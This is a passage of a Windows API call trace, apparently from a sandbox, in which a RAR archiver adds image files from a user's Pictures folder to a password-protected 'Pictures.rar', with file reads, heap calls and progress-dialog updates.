lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0063.471] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.471] SetFilePointer (in: hFile=0x32c, lDistanceToMove=124382, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1e5de [0063.471] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1e5de [0063.471] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0063.471] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0063.471] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc60, Size=0x48) returned 0x28b084f8ee0 [0063.471] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0063.471] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0063.471] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f9430 [0063.471] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0063.471] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8ee0 | out: hHeap=0x28b08430000) returned 1 [0063.471] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0063.471] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcc0 [0063.471] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fcc0 | out: hHeap=0x28b08430000) returned 1 [0063.471] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f9c0 | out: hHeap=0x28b08430000) returned 1 [0063.471] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9480 [0063.471] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9480, Size=0x7a) returned 0x28b084ed640 [0063.471] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed643*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed643*, lpNumberOfBytesWritten=0xf00f8d8070*=0x6c, lpOverlapped=0x0) returned 1 [0063.471] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f8a0 [0063.471] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x6c) returned 0x28b084fbdd0 [0063.471] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0063.471] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed640 | out: hHeap=0x28b08430000) returned 1 [0063.471] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x3069a [0063.471] CloseHandle (hObject=0x350) returned 1 [0063.471] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0063.471] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.471] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0063.471] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.472] FindFirstFileW (in: lpFileName="6xi8hATC8ep.gif", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0bbf27d0 [0063.472] FindClose (in: hFindFile=0x28b0bbf27d0 | out: hFindFile=0x28b0bbf27d0) returned 1 [0063.472] CreateFileW (lpFileName="6xi8hATC8ep.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\6xi8hatc8ep.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0063.472] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.472] GetTickCount () returned 0x25c8d [0063.472] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.472] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0063.472] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.472] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0063.472] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="5qnTEjfG9KjtBUIojvlC.png") returned 24 [0063.472] SetWindowTextW (hWnd=0x102c6, lpString="6xi8hATC8ep.gif") returned 1 [0063.995] GetTickCount () returned 0x25ea0 [0063.995] UpdateWindow (hWnd=0x102be) returned 1 [0064.194] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 1 [0064.198] GetMessageW (in: lpMsg=0xf00f8dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd5e0) returned 1 [0064.198] GetFocus () returned 0x102e2 [0064.198] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd5e0) returned 1 [0064.198] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.199] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.199] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.199] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x29, wMilliseconds=0x2b6)) [0064.199] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.199] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15552745954) returned 1 [0064.199] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x3b73, lpOverlapped=0x0) returned 1 [0064.199] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70fbb3, nNumberOfBytesToRead=0xfc48d, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70fbb3*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.199] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f900 [0064.199] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.199] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f9de0 [0064.199] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.199] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0064.199] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f8f80 [0064.199] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.199] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0064.199] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0064.199] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0064.199] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0064.199] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0064.199] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f900, Size=0x48) returned 0x28b084f9ca0 [0064.199] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9ca0, Size=0x7a) returned 0x28b084ecef0 [0064.199] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8f80 | out: hHeap=0x28b08430000) returned 1 [0064.199] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecef0 | out: hHeap=0x28b08430000) returned 1 [0064.200] GetTickCount () returned 0x25f6c [0064.200] GetLastError () returned 0x0 [0064.200] SetLastError (dwErrCode=0x0) [0064.200] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0064.200] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0064.200] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0064.200] SetWindowTextW (hWnd=0x102c8, lpString=" 100%") returned 1 [0064.200] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0064.200] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15552894602) returned 1 [0064.200] GetTickCount () returned 0x25f6c [0064.200] GetLastError () returned 0x0 [0064.200] SetLastError (dwErrCode=0x0) [0064.200] GetDlgItem (hDlg=0x102be, nIDDlgItem=154) returned 0x102d0 [0064.200] GetWindowTextW (in: hWnd=0x102d0, lpString=0xf00f8dc0c0, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0064.200] SetWindowTextW (hWnd=0x102d0, lpString="00:00:01") returned 1 [0064.201] GetTickCount () returned 0x25f6c [0064.201] GetDlgItem (hDlg=0x102be, nIDDlgItem=162) returned 0x102d2 [0064.201] ShowWindow (hWnd=0x102d2, nCmdShow=0) returned 0 [0064.201] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0064.201] ShowWindow (hWnd=0x102d4, nCmdShow=0) returned 0 [0064.201] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0064.201] GetWindowTextW (in: hWnd=0x102d4, lpString=0xf00f8dc0c0, nMaxCount=2560 | out: lpString="") returned 0 [0064.201] GetTickCount () returned 0x25f6c [0064.201] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd098 | out: ppv=0xf00f8dd098*=0x28b0a22f690) returned 0x0 [0064.201] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22f690, hwnd=0x102be, tbpFlags=2) returned 0x0 [0064.202] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22f690, hwnd=0x102be, ullCompleted=0x33f18, ullTotal=0x2141be) returned 0x0 [0064.202] TaskbarList:IUnknown:Release (This=0x28b0a22f690) returned 0x0 [0064.202] GetLastError () returned 0x36b7 [0064.202] SetLastError (dwErrCode=0x36b7) [0064.202] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0064.202] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0064.202] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 5%") returned 5 [0064.202] SetWindowTextW (hWnd=0x102de, lpString=" 9%") returned 1 [0064.203] GetLastError () returned 0x0 [0064.203] SetLastError (dwErrCode=0x0) [0064.203] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0064.203] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 39%") returned 5 [0064.203] SetWindowTextW (hWnd=0x102da, lpString=" 93%") returned 1 [0064.203] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x9, lParam=0x0) returned 0x5 [0064.204] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0064.204] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0064.204] GetFocus () returned 0x102e2 [0064.204] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0064.204] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.204] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.204] ResetEvent (hEvent=0x344) returned 1 [0064.204] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.205] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.205] ResetEvent (hEvent=0x344) returned 1 [0064.205] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.206] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.206] GetTickCount () returned 0x25f6c [0064.206] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15553461517) returned 1 [0064.206] GetTickCount () returned 0x25f6c [0064.206] GetTickCount () returned 0x25f6c [0064.206] GetTickCount () returned 0x25f6c [0064.206] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.206] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.206] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.206] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.206] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.206] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x3069a [0064.206] SetFilePointer (in: hFile=0x32c, lDistanceToMove=99, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x306fd [0064.206] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.207] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.207] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.207] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.207] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x3b90, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x3b90, lpOverlapped=0x0) returned 1 [0064.207] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.207] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.207] SetFilePointer (in: hFile=0x32c, lDistanceToMove=198298, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x3069a [0064.207] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x3069a [0064.207] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0064.207] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.207] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9bb0 [0064.207] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.207] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0064.207] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f9c0, Size=0x48) returned 0x28b084f9c00 [0064.207] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.207] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0064.207] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0064.207] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f930 | out: hHeap=0x28b08430000) returned 1 [0064.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc60 | out: hHeap=0x28b08430000) returned 1 [0064.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9bb0 [0064.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9bb0, Size=0x7a) returned 0x28b084ed520 [0064.208] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed523*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed523*, lpNumberOfBytesWritten=0xf00f8d8070*=0x63, lpOverlapped=0x0) returned 1 [0064.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f900 [0064.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x63) returned 0x28b08462c60 [0064.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9c00 | out: hHeap=0x28b08430000) returned 1 [0064.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed520 | out: hHeap=0x28b08430000) returned 1 [0064.208] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x3428d [0064.208] CloseHandle (hObject=0x350) returned 1 [0064.208] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.208] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.208] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.208] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.208] FindFirstFileW (in: lpFileName="7ZwWGMcIaUjWjMVJAe.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eea90 [0064.208] FindClose (in: hFindFile=0x28b0c0eea90 | out: hFindFile=0x28b0c0eea90) returned 1 [0064.208] CreateFileW (lpFileName="7ZwWGMcIaUjWjMVJAe.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\7zwwgmciaujwjmvjae.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.208] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.208] GetTickCount () returned 0x25f6c [0064.208] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.209] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.209] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.209] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.209] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="6xi8hATC8ep.gif") returned 15 [0064.209] SetWindowTextW (hWnd=0x102c6, lpString="7ZwWGMcIaUjWjMVJAe.jpg") returned 1 [0064.210] GetTickCount () returned 0x25f6c [0064.210] UpdateWindow (hWnd=0x102be) returned 1 [0064.210] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.210] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.210] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.210] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.210] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x29, wMilliseconds=0x2b6)) [0064.210] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.210] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15553869096) returned 1 [0064.210] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xa9bf, lpOverlapped=0x0) returned 1 [0064.210] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b7169ff, nNumberOfBytesToRead=0xf5641, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b7169ff*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.210] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.210] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.210] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f660 [0064.210] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0064.210] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fbd0, Size=0x48) returned 0x28b084f9200 [0064.210] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.210] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0064.211] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9430 [0064.211] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.211] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9200 | out: hHeap=0x28b08430000) returned 1 [0064.211] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.211] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd80 [0064.211] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd80 | out: hHeap=0x28b08430000) returned 1 [0064.211] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0064.211] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f660, Size=0x48) returned 0x28b084f9110 [0064.211] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9110, Size=0x7a) returned 0x28b084ecb90 [0064.211] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0064.211] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecb90 | out: hHeap=0x28b08430000) returned 1 [0064.211] GetTickCount () returned 0x25f6c [0064.211] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15553969903) returned 1 [0064.211] GetTickCount () returned 0x25f6c [0064.211] GetTickCount () returned 0x25f6c [0064.211] GetTickCount () returned 0x25f6c [0064.211] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.211] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.211] 